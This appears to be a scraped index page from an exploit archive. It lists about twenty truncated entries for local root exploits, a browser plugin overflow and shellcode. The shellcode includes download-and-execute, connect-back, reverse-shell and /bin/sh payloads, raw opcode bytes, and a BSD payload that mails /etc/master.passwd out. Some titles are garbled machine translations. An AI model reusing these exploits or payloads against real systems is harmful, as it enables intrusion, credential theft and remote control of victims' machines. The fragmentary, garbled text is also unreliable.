Oracle (oidldapd connect) Local Command Line Overflow Exploit

No description provided by source. / Exploit Code for oidldapd in Oracle 8.1.6 8ir2 for Linux. I tested in RH 6.2 and 6.1. This code is a bullshit i know please no comments about ;-. If someone exports this to Sparc please tell me. synopsis: buffer overflow in oidldapd...

Linux Mandrake <= 10.2 cdrdao Local Root Exploit (unfixed)

No description provided by source. !/bin/sh cdrdao local root exploit newbug at chroot.org IRC: irc.chroot.org chroot May 2005 echo "cdrdao private exploit" echo "This exploit only for Mandrake series" echo "newbug at chroot.org" echo "May 2005" echo "checking if cdrdao is setuid ..."; if ! -u...

MS Windows Media Player 10 Plugin Overflow Exploit (MS06-006)

No description provided by source. HTML HEAD TITLEWMP Plugin EMBED Exploit/TITLE SCRIPT // Windows Media Player Plug-In EMBED Overflow Universal Exploit MS06-006 // By Matthew Murphy [email protected] // // DISCLAIMER: // // This exploit code is intended only as a demonstration tool for...

Thunder 5 and explosion vulnerability-vulnerability warning-the black bar safety net

According to a reliable tip-off, the thunder 5 and this time how much a word appears serious 0-Day vulnerability, virus authors can exploit the vulnerability to write malicious web pages, when used to browse these pages, you will be infected with the virus, then the virus can theft of user accoun...

From the Kabbah vulnerability glimpse of kernel-mode Shellcode writing-vulnerability warning-the black bar safety net

Source: gyzy's Blog This article has been published in the hacker line of Defense of the 2 0 0 7 year 1 1 monthly. The author and the hacker line of Defense on the retention of copyright, reproduced, please indicate the original source For the reader: overflow of lovers Pre-knowledge: Assembly...

win32/xp sp2 Pop up message box 110 bytes

No description provided by source. / Author : Omega7 Assembly Code : Steve Hanna Changed by : Omega7 Description : It is 110 Byte Shellcode which Pops up Message Box Under Windows Xp SP2 If you Want to use it in any other Windows You need to change the address that i have marked! / include stdlib...

windows/XP download and exec source

No description provided by source. ; Nice theorhetically generic url download and execute ; shellcode for Windows XP. ; ; Heck, atleast it saves you using tftp! ; ; [email protected] ; ; nasmw -s -fbin -o download.s download.asm bits 32 start: jmp short avoidnastynulls continue: pop edi ; edi...

win xp/2000/2003 Download File and Exec 241 bytes

No description provided by source. / ----------------------------------------------------------------------- downloadurlv31.c - Download file and exec shellcode for Overflow exploit Copyright C 2000-2004 HUC All Rights Reserved. Author : lion : lioncnhonker.net...

bsd/x86 cat /etc/master.passwd | mail [email] 92 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 92 bytes. execve/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost"; pueden reemplzar el comando por lo que se les ocurra. / char shellcode=...

applesmb-overflow.txt

/ Copyright C 2007-2008 Subreption LLC. All rights reserved. Visit http://blog.subreption.com for exploit development notes. References: CVE-2007-3876 http://docs.info.apple.com/article.html?artnum=307179 http://seclists.org/fulldisclosure/2007/Dec/0445.html...

Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit

No description provided by source. / Copyright C 2007-2008 Subreption LLC. All rights reserved. Visit http://blog.subreption.com for exploit development notes. References: CVE-2007-3876 http://docs.info.apple.com/article.html?artnum=307179...

MS Windows (DCOM RPC2) Universal Shellcode

No description provided by source. ; Segment type: Pure code ;seg000 segment byte public 'CODE' use32 ; assume cs:seg000 ; assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing .386 assume cs:seg000 var29C = byte ptr -29Ch var28C = byte ptr -28Ch var25F = byte ptr -25Fh var254 = dword...

Windows 9x/NT/2k/XP PEB method 35 bytes

No description provided by source. /This is a 35 byte C implementation of the use of the PEB method to get the kernel32 base address on Windows. This is generic code designed to run on both Windows 9x and NT based systems. The code has been optimized to not have any 00h bytes so that you wont hav...

Windows 9x/NT/2k/XP Reverse Generic Shellcode w/o Loader 249 bytes

No description provided by source. We use the PEB for the Output/Input/Error Handles. typedef struct PEB BOOLEAN InheritedAddressSpace ; BOOLEAN ReadImageFileExecOptions ; BOOLEAN BeingDebugged ; BOOLEAN Spare ; HANDLE Mutant ; PVOID ImageBaseAddress ; PPEB LDR DATA LoaderData ; PRTL USER PROCESS...

linux/ppc execve /bin/sh 112 bytes

No description provided by source. / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's linuxPPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF, 0x41BC0054, 0x7C6802A6, 0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4, 0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,...

linux/x86 cat /dev/urandom > /dev/console, just for kicks - 63 bytes

No description provided by source. / linux/x86 cat /dev/urandom /dev/console, no real profit just for kicks - 63 bytes - izik [email protected] / char shellcode = "\x31\xc9" // xor %ecx,%ecx "\x51" // push %ecx "\x68\x6e\x64\x6f\x6d" // push $0x6d6f646e "\x68\x2f\x75\x72\x61" // push $0x6172752f...

BSD Passive Connection Shellcode

No description provided by source. ; Passive Connection Shellcode ; ; Coded by Scrippie - [email protected] - http://b0f.freebsd.lublin.pl ; Buffer0verfl0w Security ; Why? This evades firewalls... ; ; YES, this is for NASM, I detest AT&T syntaxis - it's gross and unreadable ;...

linux/ppc read & exec shellcode 32 bytes

No description provided by source. / readnexecppc-core.c by Charles Stevenson [email protected] / char hellcode = / read0,stack,1028; stack; linux/ppc by core / "\x7c\x63\x1a\x79" / xor. r3,r3,r3 / "\x38\xa0\x04\x04" / li r5,1028 / "\x30\x05\xfb\xff" / addic r0,r5,-1025 / "\x7c\x24\x0b\x78" / mr...

win xp/2000/2003 Connect Back shellcode for Overflow exploit 275 bytes

No description provided by source. / ----------------------------------------------------------------------- connectbackv32.c - Connect Back shellcode for Overflow exploit Copyright C 2000-2004 HUC All Rights Reserved. Author : lion : [email protected]...

linux/ppc execve /bin/sh 60 bytes

No description provided by source. / execve-core.c by Charles Stevenson [email protected] / char hellcode = / execve /bin/sh linux/ppc by core / // Sometimes you can comment out the next line if space is needed "\x7c\x3f\x0b\x78" /mr r31,r1/ "\x7c\xa5\x2a\x79" /xor. r5,r5,r5/ "\x42\x40\xff\xf9"...